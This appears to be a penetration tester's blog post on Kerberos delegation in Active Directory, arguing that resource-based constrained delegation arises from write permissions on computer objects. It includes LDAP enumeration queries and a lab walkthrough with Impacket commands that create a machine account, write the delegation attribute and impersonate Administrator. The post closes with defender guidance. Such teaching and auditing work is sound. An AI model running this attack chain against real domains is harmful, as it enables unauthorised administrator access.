---
title: "Delegation Triage: You Were Taught the Rare One"
description: "Unconstrained delegation gets the diagrams. Resource-based constrained delegation is what you actually find — because it is not a checkbox anyone audits, it is a side effect of who can write to a computer object."
date: 2025-04-24
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/delegation-triage/
---

## Kerberos delegation in 60 seconds

Every Kerberos delegation lesson starts in the same place: unconstrained delegation, a
diagram of a TGT riding along inside a service ticket, and a note that this is very bad.
It is very bad. It is also the one you are least likely to find.

The order things get taught in is almost exactly the inverse of the order you meet them.

## Three mechanisms, one sentence each

**Unconstrained.** The account can impersonate anyone who authenticates to it, to anything.
The user's TGT is handed over inside the service ticket. Flag lives in
`userAccountControl`.

**Constrained.** The account can impersonate users, but only to a fixed list of SPNs in
`msDS-AllowedToDelegateTo`. Whether it can do that *without* the user ever authenticating
depends on a second flag — protocol transition — and that flag matters far more than the
list does.

**Resource-based (RBCD).** The permission is stored on the *target*, in
`msDS-AllowedToActOnBehalfOfOtherIdentity`, and it names who may impersonate users to it.
The target decides who can delegate to it, not the other way round.

That last inversion is the whole story.

## Why the prevalence is upside down

Unconstrained delegation is rare in a maintained domain because it is *legible*. It is a
single bit, it has been on every hardening checklist for a decade, it lights up in every
audit tool, and modern deployments do not create it. When you do find it, it is usually on
something old that nobody dares touch.

Constrained delegation is more common, because it is what people were told to migrate to.
It is also frequently misread. The SPN list looks like a tight boundary and is not one: the
service class portion of the target SPN is not what gets enforced, so a delegation granted
for `cifs/host` is generally usable against other services on the same host. The list
constrains *which machine*, not *what you can do there*.

RBCD is the one you actually find, and the reason is structural. It is not a setting an
administrator chose. It is a consequence of *who can write to a computer object*. Any
principal with `GenericWrite`, `GenericAll`, `WriteProperty`, or `WriteDACL` over a computer
can populate that attribute themselves. Every over-permissioned helpdesk group, every
delegated OU, every stale "workstation admins" nesting is a latent RBCD path — and none of
them show up in a query for delegation flags, because there is no flag to find.

The same mechanism, one object class up, is what makes certificate template write access an
escalation path too — [the ESC4 story](/posts/the-template-nobody-owned/) is the identical
finding wearing a PKI hat: the permission is the vulnerability, not the setting it lets you
create.

<figure class="diagram">
<svg viewBox="0 0 700 286" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Resource-based constrained delegation attack path. A low-privileged principal with GenericWrite over a computer object creates an SPN-bearing principal, writes the RBCD attribute, requests an S4U service ticket, and reaches the target host. Machine account quota and protected users are shown as boundary controls, not root-cause fixes.">
<defs>
<marker id="rb-a" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-accent" /></marker>
</defs>
<text x="0" y="18" class="dg-muted">THE PATH THAT DOES NOT EXIST UNTIL THE ATTACKER CREATES IT</text>
<rect x="0" y="34" width="130" height="68" rx="8" class="dg-box" />
<text x="14" y="56" class="dg-label">low-priv user</text>
<text x="14" y="76" class="dg-accent">GENERICWRITE</text>
<text x="14" y="92" class="dg-muted">over WS01$</text>
<line x1="132" y1="68" x2="170" y2="68" class="dg-line-accent" marker-end="url(#rb-a)" />
<rect x="174" y="34" width="144" height="68" rx="8" class="dg-box" />
<text x="188" y="56" class="dg-label">ATTACK$</text>
<text x="188" y="76" class="dg-mono">principal + SPN</text>
<text x="188" y="92" class="dg-muted">quota or existing</text>
<line x1="320" y1="68" x2="358" y2="68" class="dg-line-accent" marker-end="url(#rb-a)" />
<rect x="362" y="34" width="158" height="68" rx="8" class="dg-box-accent" />
<text x="376" y="56" class="dg-label">WS01$ object</text>
<text x="376" y="76" class="dg-mono dg-compact">msDS-AllowedToAct…</text>
<text x="376" y="92" class="dg-crit">ATTACKER-WRITTEN</text>
<line x1="522" y1="68" x2="560" y2="68" class="dg-line-accent" marker-end="url(#rb-a)" />
<rect x="564" y="34" width="136" height="68" rx="8" class="dg-box-accent" />
<text x="578" y="56" class="dg-label">S4U2Proxy</text>
<text x="578" y="76" class="dg-mono">cifs/WS01</text>
<text x="578" y="92" class="dg-crit">IMPERSONATION</text>
<line x1="0" y1="130" x2="700" y2="130" class="dg-line dg-dash" />
<text x="0" y="156" class="dg-muted">CONTROL BOUNDARY — WHICH MEASURE BREAKS WHICH PART</text>
<rect x="0" y="172" width="216" height="76" rx="8" class="dg-box" />
<text x="14" y="194" class="dg-label">machine quota = 0</text>
<text x="14" y="214" class="dg-mono dg-compact">blocks easy account creation</text>
<text x="14" y="232" class="dg-muted">not an existing SPN</text>
<rect x="242" y="172" width="216" height="76" rx="8" class="dg-box" />
<text x="256" y="194" class="dg-label">Protected Users</text>
<text x="256" y="214" class="dg-mono dg-compact">blocks tier-0 impersonation</text>
<text x="256" y="232" class="dg-muted">does not remove write</text>
<rect x="484" y="172" width="216" height="76" rx="8" class="dg-box-accent" />
<text x="498" y="194" class="dg-label">remove the ACE</text>
<text x="498" y="214" class="dg-accent">BREAKS THE ROOT CAUSE</text>
<text x="498" y="232" class="dg-muted">retest DACL + attribute</text>
</svg>
<figcaption>RBCD is not a dangerous flag waiting to be discovered. It is a write path that lets an attacker manufacture the flag. Quota and Protected Users narrow the path; removing the effective write right is the control that actually closes it.</figcaption>
</figure>

## The query for the third one is a different kind of question

For the first two you ask the directory for a state. For the third you have to ask about
permissions, which is why it gets missed by anyone working from a flag checklist.

```powershell
# Unconstrained — a bit in userAccountControl
Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
             -Properties samAccountName, objectClass

# Constrained — and the flag that actually matters
Get-ADObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
             -Properties samAccountName, msDS-AllowedToDelegateTo, userAccountControl |
  Select-Object samAccountName, msDS-AllowedToDelegateTo,
    @{ n = 'ProtocolTransition'; e = { [bool]($_.userAccountControl -band 0x1000000) } }

# RBCD — already configured
Get-ADComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
               -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
```

The last query only finds delegation that already exists. The one that matters is the
inverse: which principals can *create* it. That is a DACL question over every computer
object, and it is where the actual attack paths are.

Two more values decide whether a path is walkable, and both are one lookup away:

```powershell
# How many computer accounts an ordinary user may create (default 10)
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuota

# Accounts that cannot be impersonated at all
Get-ADUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=1048576)'
Get-ADGroupMember 'Protected Users'
```

A quota of zero does not close the path. It removes the *convenient* way to get a principal
with an SPN; any account you already control that has one will do.

## Walking it in the lab

Starting position: a low-privileged user that holds `GenericWrite` over a workstation
object. No delegation is configured anywhere. Nothing in a flag-based audit would flag this
host.

```
$ addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Lab-Passw0rd!' \
    -dc-ip 10.0.0.10 lab.local/lowpriv:'...'
[*] Successfully added machine account ATTACK$

$ rbcd.py -delegate-from 'ATTACK$' -delegate-to 'WS01$' -action write \
    -dc-ip 10.0.0.10 lab.local/lowpriv:'...'
[*] Delegation rights modified successfully!
[*] ATTACK$ can now impersonate users on WS01$ via S4U2Proxy

$ getST.py -spn 'cifs/ws01.lab.local' -impersonate Administrator \
    -dc-ip 10.0.0.10 'lab.local/ATTACK$:Lab-Passw0rd!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Saving ticket in Administrator@cifs_ws01.lab.local@LAB.LOCAL.ccache
```

Three commands from "can edit an object" to "am administrator on that host". The delegation
did not exist before the second command; the attacker created it. That is why hunting for
configured delegation misses this entirely.

## Evidence matrix

| Signal | What it proves | Negative control | Defender verification |
| --- | --- | --- | --- |
| Effective `GenericWrite`, `WriteProperty`, or `WriteDACL` over `WS01$` | The principal can create the RBCD condition; this is the root-cause edge | Remove the ACE or inheritance path and confirm the same principal can no longer modify the object | Recalculate effective access on the computer and its parent OU, including nested group membership |
| An SPN-bearing principal controlled by the tester | The path has an identity Kerberos can delegate from | Set machine-account quota to zero and repeat with no previously controlled SPN account | Review `ms-DS-MachineAccountQuota`, computer creation events, and ownership of existing service principals |
| `msDS-AllowedToActOnBehalfOfOtherIdentity` changes from empty to the controlled SID | The latent write edge was converted into active RBCD | Restore the original attribute and confirm the S4U request fails | Enable Directory Service Changes auditing and alert on writes to the attribute |
| S4U service ticket succeeds for a non-protected test identity | The chain is operational to the named service on the target | Repeat with a Protected Users or non-delegable lab identity and expect rejection | Validate ticket events and confirm tier-0 identities are marked sensitive and cannot be delegated |

## The pattern I keep seeing

The write permission is almost never granted deliberately for computers. It arrives as
collateral — a group that was given broad rights over an OU so that someone could join
machines to the domain or push an agent, and then kept those rights after the project ended.
The permission outlives the reason for it, and nobody revisits it because nothing visibly
breaks.

So the finding is rarely "delegation is misconfigured". It is "this group can rewrite
computer objects, and here is what that turns into". Written the first way it gets closed by
deleting one attribute. Written the second way it gets closed properly.

## What to hand the defenders

Three concrete things, in this order:

**The DACL, not the delegation.** Name the principals with write access over computer
objects and the OUs where it applies. That is the root cause; the delegation attribute is
just the payload.

**The quota.** `ms-DS-MachineAccountQuota` at its default of 10 lets any authenticated user
manufacture the principal this attack needs. Setting it to 0 and delegating machine-join
rights to a specific group removes the easy path and costs nothing operationally.

**The accounts that must never be impersonated.** Protected Users membership and the
"sensitive and cannot be delegated" flag on tier-0 accounts. These do not fix the DACL, but
they cap what a successful delegation attack can reach — which matters because the DACL
cleanup is the slow part.

The unconstrained finding, if you get one, writes itself. This one only lands if you explain
that the vulnerability was a permission, not a setting. You can model these delegation chains, MachineAccountQuota states, and Protected Users boundaries interactively in the [Active Directory Delegation Risk Resolver](/tools/active-directory-delegation-resolver/).